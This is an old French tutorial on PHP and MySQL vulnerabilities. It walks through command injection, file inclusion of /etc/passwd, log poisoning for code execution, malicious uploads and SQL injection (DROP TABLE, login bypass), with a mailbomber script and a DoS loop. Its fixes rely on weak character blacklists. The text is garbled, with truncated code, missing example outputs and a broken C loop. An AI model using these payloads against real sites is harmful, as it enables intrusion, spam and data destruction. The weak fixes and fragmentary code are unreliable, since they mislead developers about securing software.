SOMMAIRE : [ 1 ] Introduction [ 2 ] Les failles de PHP [ 2.1 ] Vulnérabilité 'escape shell' [ 2.2 ] Fonction include() [ 2.3 ] Fonction mail() [ 2.4 ] Les fichiers de logs de Apache [ 2.5 ] Script d'upload [ 3 ] PHP & MySQL [ 3.1 ] Requetes MySQL multiples [ 3.2 ] Fakes posts [ 3.3 ] Stupid DoS [ 3.4 ] Bypasser une authentification [ 4 ] Conclusion & remerciements [ 1 ] Introduction :
Le PHP est un language de script très performant, et de plus en plus utilisé dans le dévelloppement de site web. Ce language est doté d'une multitude de fonctions
allant du simple affichage de données à la gestion des sockets, en passant par la gestion d'un serveur mail ou encore l'utilisation de commandes système.
Ainsi de part la multitude de ses fonctions, le PHP offre aussi la possibilité d'obtenir des informations, voire même un acces (partiel ou complet) au systeme.
Il est donc nécessaire à tout développeur de scripts, voire même aux administrateur systeme de comprendre ce language et de repérer les éventuelles problèmes
que des scirpts pourraient causer. Cet article à donc pour but de vous expliquer les principes de la sécurité PHP en analysant différentes fonctions/scripts pouvant
s'avérer vulnérables.
Nous etudierons tout d'abord les scripts et/ou les fonctions PHP pouvant être vulénrables, puis nous étudierons les failles liées à MySQL, système de base de donnée le plus utilisé en interfaçage avec PHP. Il faut savoir que le language PHP est en constante évolution, ainsi cet article n'est en aucun cas une liste exhaustive des failles pouvant exister, ni même une liste des solutions possibles, cependant il essaiera d'aborder et d'expliquer toutes les situations envisageables. Vous pouvez envoyer vos commentaires par email à medgi@ht.st [ 2 ] Les failles de PHP : [ 2.1 ] Vulnerabilite escape shell : Le language PHP possède une fonction 'system()' permettant d'utiliser directement des commandes systemes. Ainsi il est évident que cette fonction peut s'avérer dangereuse puisque si l'attaquant réussi à détourner un script utilisant cette fonction, il gagne un acces partiel, voire même complet (euh ca existe encore des httpd avec les droits root :p). Voyons tout d'abord un schéma classique. Le webmaster désire afficher l'uptime de son server, dans le cadre d'une page de statistique. Il pourra alors porcéder ainsi :
system($cmd); ?>
[ Resultat : ] Red Hat Linux release 7.1 (Seawolf) Kernel 2.4.2-2 on an i686
$cmd = "traceroute ".$cmd; system($cmd); ?> traceroute: Warning: www.yahoo.com has multiple addresses; using 64.58.76.179 traceroute to www.yahoo.akadns.net (64.58.76.179), 30 hops max, 38 byte packets ... 9 gblon523-tc-p8-0.ebone.net (213.174.71.65) 52.138 ms 47.755 ms 47.945 ms 10 usnyk405-tc-p3-0.ebone.net (213.174.70.58) 115.571 ms 116.682 ms 119.300 ms 11 usnyk105-tc-r2-0.ebone.net (213.174.69.162) 119.398 ms 115.842 ms 119.985 ms 12 ebone-px-jrcy01.exodus.net (195.158.229.130) 120.114 ms 116.874 ms 119.346 ms ...Imaginez maintenant que nous entrions comme requete 'www.yahoo.com | nmap localhost'. Le script PHP effectuera d'abord la premiere commande, à savoir 'traceroute www.yahoo.com', puis il ne concatenera pas la deuxieme commande avec 'traceroute ', et de ce fait elle sera executée. On aura alors un résultat de ce type :
Interesting ports on subkulture (127.0.0.1): (The 1545 ports scanned but not shown below are in state: closed) ... Voyons maintenant comment résoudre cette faille. Dans le premier cas, il est possible de créer un script de parsing des commandes envoyées, cependant cette méthode n'est pas envisageable, vu la quantitée de commandes *nix existante. Cependant une méthode relativement simple consiste à ne pas placer les commandes dans des variables, ou alors faire une définition de la variable ($cmd= "uptime"). Dans le second cas, la solution la plus simple consiste à repérer le caractere pipe '|' et arreter le script. Attention, ne pas oublier d'effectuer une recherche sur l'equivalent du pipe en URL-Encode (à savoir %7c). N'oublions pas que cette méthode fonctionne aussi avec les caracteres & (and) ou encore ; (point virgule). Il faut donc aussi parser notre requete pour ces memes caracteres.
if( (strstr($cmd, "|")) || (strstr($cmd, "%7c") ) { echo "Erreur : caractere interdit !"; break(); } [ 2.2 ] Fonction include() : La fonction include permet, comme son nom l'indique, d'inclure le contenu d'un fichier dans un script php. Cette fonction est dans la plupart utiliser pour créer des pages dynamiques à proprement parler, comme par exemple en incluant un fichier de configuration. Ainsi, une page pourrait s'organiser de la façon suivante :
include("config.php"); include("header.php"); if(file_exists($page)) include($page); else include("erreur404.php"); include("footer.php"); ?> Appel de la page : http://subkulture/index.php?page=news.php Ainsi il est assez simple de détourner le script en modifiant le contenu de la variable par un fichier 'sensible' :
(la plupart des serveur utilsant encore inetd et pas xinetd)
include("config.php"); include("header.php"); $page = $page.".php"; // Ajout d'une extension .php if(file_exists($page)) include($page); else include("erreur404.php"); include("footer.php"); ?>
[ 2.3 ] Fonction mail() : La fonction mail() permet d'envoyer des emails par l'intermédiaire d'un script PHP. Il n'existe pas vraiment de 'failles' utilisables avec cette fonction, cependant il est possible de l'utiliser dans le but de spamer/mailbomber des emails. Il est évident que vous n'utiliserez pas cette fonction à cet usage, cependant si vous hébergez des sites web, il est possible que vos utilisateurs soient tenté de détournerl'utilisation normale de cette fonction en pensant que c'est votre IP qui apparaitra dans les headers des mails. En effet, un mailbomber est un script très facile à mettre en place. Exemple :
$to = "victim@troll.com"; $subject = "graou"; $message = "I'm a stupid kiddiez"; for($i=0; $i<5000; $i++) { mail($to, $subject, $message); } ?> [ 2.4 ] Les fichiers de logs de Apache : Comme nous l'avons vu plus haut la fonction include() permet d'inclure un fichier dans un script PHP. Cependant, il existe une autre méthode pour exploiter cette fonction. Cette méthode permet non pas d'afficher le contenu de certains fichiers sensibles, mais d'obtenir un accès partiel voire complet au système (comme toujours, cela dépend des droits du daemon http). Reprenons ainsi le meme exemple que précédemment :
include("config.php"); include("header.php"); if(file_exists($page)) include($page); else include("erreur404.php"); include("footer.php"); ?>
Comme vous pouvez le constater il serait bien simple d'exploiter la faille afin de récupérer le fichier/etc/passwd du serveur. Ainsi http://www.subkulture.org/index.php?page=/etc/passwd donnera un résultat de ce genre :
bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin:
http://www.subkulture.org/index.php?page=/etc/issue http://www.subkulture.org/index.php?page=/etc/motd [ ... ]
ServerName subkulture.org ScriptAlias /cgi-bin/ /home/www/subkulture/cgi-bin/ subkulture ErrorLog logs/subkulture.org-error_log CustomLog logs/subkulture.org-access_log combined ServerAdmin webmaster@subkulture.org
[Wed Jun 6 12:12:29 2001] [error] [client 148.100.206.196] File does not exist: /home/www/subkulture/images/subk.jpg [ ... ]
[Tue Jul 24 21:39:30 2001] [error] [client xxx.xxx.xxx.xxx] File does not exist: /home/www/subkulture/<
/* a2h.c - medgi : subkulture 2001 */ #include <stdio.h> #include <string.h> int main() { char subk; printf("Entrez un char:\t"); scanf("%c", &subk); printf("%%%x",subk); return 0; }
# permet de placer notre code dans le fichier subkulture.org-error_log http://www.subkulture.org/index.php?page=/usr/local/apache/logs/subkulture.org-error_log # Nous consultons le fichier subkulture.org-error_log. RESULTATS : [Tue Jul 24 22:12:30 2001] [error] [client xxx.xxx.xxx.xxx] File does not exist: /home/www/subkulture/total 408 drwxr-xr-x 7 mariston mariston 4096 Mar 19 19:18 . drwxr-xr-x 30 mariston mariston 4096 Jul 20 15:34 .. -rw-r--r-x 1 mariston mariston 20992 Nov 15 2000 Donnelly_Tragedy.doc drwxr-xr-x 2 mariston mariston 4096 Nov 15 2000 MRtoilet -rw-r--r-x 1 mariston mariston 4109 Nov 15 2000 MRtoilet_article -rw-r--r-x 1 mariston mariston 2123 Nov 15 2000 MRtoilet_review.htm -rw-r--r-x 1 mariston mariston 403 Aug 23 2000 archive_list_ls drwxr-xr-x 2 mariston mariston 4096 Aug 23 2000 barpics -rw-r--r-x 1 mariston mariston 9220 Sep 14 2000 bars.html -rw-r--r-x 1 mariston mariston 20115 Nov 15 2000 bathroom_wall.jpg -rw-r--r-x 1 mariston mariston 10635 Oct 10 2000 bathrooms -rw-r--r-x 1 mariston mariston 4415 Sep 6 2000 bookstore.html [ ... ] Comme vous pouvez le constater, si nous insérons du code PHP dans les fichiers error-logs, puis que nous consultons ces fichier par l'intermédiaire de Apache, le code qui à été déposé va être interpreté par PHP. Ainsi, l'attaquant aura plusieures possibilitées : envoyer une requete avec la fonction system() pour obtenir un 'pseudo-shell', écrire uen backdoor PHP dans un fichier (voir plus loin), modifier des fichiers du htdocs, ... Bref il s'agit la d'une faille très importante, surtout si votre Apache tourne en root (ahem !). Pour résoudre ce probleme d'execution de code, il vous suffit de procéder comme avec la fonction include(), à savoir changer les permissions pour le repertoire, parser les slash. Pour plus de sureté, vous pouvez aussi installer apache dans un autre path que celui habituel (/usr/local/bin). [ 2.5 ] Script d'upload : Les scripts d'upload de fichiers sont vraiment très pratique, puisqu'il permette d'effectuer une mise à jour très rapide, et d'autant plus rapide si les données sont gérés avec une base de donnée comme par exemple MySQL. Ainsi, il est normal de constater que beaucoup de site aient recours à de tels scripts. Cependant, il existe plusieures vulnérabilitées liées à ce type de script. Pour mieux comprendre comment fonctionne un script d'upload en PHP, voici un petit extrait de code (extrait de l'advisory de zorgon à ce sujet) :
if(ereg("^\.", "$filename_name") || ereg("[ %/,;:+~#````'$%&\\()?!^|\]\[]", $filename_name)) { ... } elseif(file_exists("$uploaddir/$filename_name")) { ... } elseif($filename_size <= $max_uploadsize) { copy($filename, "$uploaddir/$filename_name"); ... } Comme vous pouvez le constater, le script ne présente aucun controle de vérification de l'extension. Ainsi il est possible aussi bien d'uploader des .png que des .txt. Cependant la faille existe lorsque nous uploadons un fichier avec l'extension .php, .php3 ou encore .cgi (tout dépend de la configuration du serveur). En uploadant un fichier avec une des ces extensions, nous pourrons alors excuter le code contenu dans ces fichiers, par le biais de notre navigateur. A partir de ce point la, l'attaquant dispose de plusieures méthodes d'attaques, toutes basées sur le même principe. Tout d'abord il peut créer un petit script utilisant la fonction copy(). Ce script aura pour effet de copier le contenu d'un fichier PHP dans un fichier texte. Ainsi il sera possible d'obtenir le code source du fichier PHP copié. L'intérêt de cette méthode est qu'aujourd'hui la plupart des sites utilisant PHP ont recours à des bases de données, protégées par un système de login/password. Ce login/password doit être stipulé dans le code source pour que la connexion à la base de donnée puisse s'effectuer. Ainsi en récupérant le code source d'un script PHP, l'attaquant risque aussi de récupérer un ou des login/password de MySQL par exemple. Voici un petit exemple de script PHP à uploader :
copy("page.php","page_source.txt"); ?> Pour résoudre ce problème il existe, une fois encore, plusieures solutions. Tout d'abord, il est conseillé soit de rajouter une extension, soit de parser les extensions. Voici donc deux exemple :
if( ereg("php$", $filename) || ereg("php3$", $filename) || ereg("cgi$", $filename) ) { # Verifie l'extention de $filename echo "Type de fichiers interdits pour raison de sécurité !"; break(); } [ 3 ] PHP & MySQL : [ 3.1 ] Requetes MySQL multiples : MySQL est un système de base de données facile à utiliser, et de se fait la plupart des scripts PHP utilise MySQL pour gérer leurs données. La faille qui suit existe non seulement pour PHP, mais pour beaucoup d'autre languages tels que l'ASP, le CFM ou encore le JSP. Voyons tout d'abord comment fonctionne un script avec MySQL :
$table ="newsletter": $query = "SELECT * FROM $table"; $result = mysql_query($query); [ ... ]
$table ="newsletter": $query = "INSERT INTO $table ('$nom', '$email')"; $result = mysql_query($query); [ ... ]
$result = mysql_query($query);
[ MAIL ] 'medgi@ht.st'); INSERT INTO newsletter ('subkulture','subkulture@unixover.com') En effet, l'affichage de donnée MySQL se fait en général ainsi : nous récupérons les champs qui nous intéresse par leur nom ($nom, $email, $password, ...) puis nous les affichons. Cependant si par exemple la page que nous désirons attaquer est une page d'enregistrement, aucune fonction ne sera préseente pour l'affichage de données. Ainsi la deuxieme requete que l'attaquant effectuera, n'affichera en général pas les données que celui ci attend. Le probleme vient du fait qu'avec MySQL, il est aussi possible d'effectuer des requetes effacant une ligne, voir toute la table. Ainsi dans notre exemple précédent si nous rentrions une requete comme celle la :
[ MAIL ] 'medgi@ht.st'); DROP TABLE newsletter
$email = addslashes($email); # Definition de la requete : $query = "INSERT INTO $table ('$nom', '$email'); [ 3.2 ] Fake posts : La plupart des moteurs de news actuels laissent la possibilté à leur utilisateurs de poster des commentaires. Dans certains scripts, l'utiisateur doit s'authentifier, et donc laisser ses coordonées, ce qui limite le nombre de personne indésirable, voir mal intentionnée. Cependant il existe des sites qui permettent de poster des commentaires s'en s'identifier. C'est ce cas précis qui intéressera un attaquant. Ainsi voici un extrait de code qui s'averera vulnérable :
{ $date=date("Y/m/d H:i"); $ajout_sql = mysql_query("insert into $table (nom, auteur, email, texte, date) values ('$nom', '$auteur', '$email', '$texte', '$date')",$connexion); } Voici donc la pseudo-faille, qui va vous paraitre inutile certes, mais qui peut s'avérer agacante pour le webmaster. L'attaquant va poster un commentaire "fantome". Ainsi imaginons que la requete pour ajouter une news soit : http://subkulture/addcommentaire.php?newsID=40&nom=medgi&email=medgi@ht.st&texte=subkulture%200wnz%20y0u. Si la news numéro 40 existe, le commentaire va être posté. Cependant si la news numéro 40 n'existe pas, la news va quand meme être postée (erf) :) ! Comme vous pouvez le constater, il est ainsi possible de poster des commentaires sur des news qui n'existe pas. Peu d'intérêt certes, cependant le webmaster soucieux de son site doit vite être agacé de ces posts de gamin. Ainsi pour sécuriser ce petit bug, rien de plus simple :
$requete = mysql_query($query); $nb = mysql_numrows($requete); if ( ($action=="ajout") && ($newsID < $nb) ) { $date=date("Y/m/d H:i"); $ajout_sql = mysql_query(...); } [ 3.3 ] Stupid DoS : Le principe est similaire à celui plus haut : imaginez que l'attaquant peut poster des commentaires pour des news qui n'existe pas, et ceci sans identification. Il peut alors en poster 1, 2 voire 5000. Cependant au bout d'un certain nombre de requete la base de données commence à légerement surchargée. Ainsi imaginons un code source comme celui ci (en C) :
int i; char buffer[] = "POST /commentaire.php?newsID=40&nom=el8&email=fuck@fuck.com&texte=im%20a%20stupid%20kiddiez HTTP/1.0\n\n"; for(i=0; i=5000; i++) { send(socket, buffer, strlen(buffer); } [ ... ]
[ 3.4 ] Bypasser une authentification : Cette technique est basée sur le même principe que l'attaque vu en [ 3.1 ] : la faille mis en cause est la requete au serveur SQL. Ainsi lors d'une authentification, le script PHP va récupérer les variables $login et $password, puis va parcourir la base de donnée à la recherche du couple Login/Password. Ainsi la requete MySQL ressemblera à quelquechose de ce type :
$query = " SELECT Login, Password FROM $table WHERE Login='$login' and Password='$password' "; $result = mysql_query($query);
De meme si nous passons comme argument admin pour la variable $login et que nous passons 'or''=' pour la variable $password, nous obtiendrons une requete de ce genre :
Il est aussi possible de passer l'authentification en utilisant des commentaires. Petits rappels des commentaires : définits entre /* et */ ou encore par le caractere dieze (#). Ainsi si nous rentrons comme valeure pour login 'or''=''#, notre requete MySQL sera de la sorte :
Ce qui reviens à effectuer une requete de la forme : SELECT Login, Password FROM identification WHERE Login= '' or ''='' En utilsant cette méthode un attaquant peut bypasser une authentification, et le compte obtenu sera le premier de la table MySQL, qui est en général l'admin ! Ainsi pour sécuriser cette faille, il faut parser les input avant d'effectuer la requete MySQL, en vérifiant que $login et $password ne contiennent pas les caracteres suivant : () / , ; . : # < > | \ ". Voici comment procéder :
$password = trim(htmlspecialchars(addslashes($password))); # parsing du password if( ( strlen($login)!=0) && (strlen($password)!=0) ) { # REQUETE MYSQL else { echo "fuck you :) \n"; } [ 4 ] Conclusion et remerciements : Voila c'est la fin de cet article sur la sécurité PHP/MySQL. Je tenais à préciser que certaines de ces techniques n'ont pas été découvertes par moi même, alors merci à leur auteur. Pour toute question ou commentaires envoyez un mail à medgi@ht.st. Merci à Martony, ad, GangstucK, saur0n, scythale, skoop, Nitronec, eberkut, y0me, TipiaK, obscurer, OUAH, `Spud, et tout les autres que j'aurait pu oublier :). subkulture r0x ! -- have phun (medgi) |